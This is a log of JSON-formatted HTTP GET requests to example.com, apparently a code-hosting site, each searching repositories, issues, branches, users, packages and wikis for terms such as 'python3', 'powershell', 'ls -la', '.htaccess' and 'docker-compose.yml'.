{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
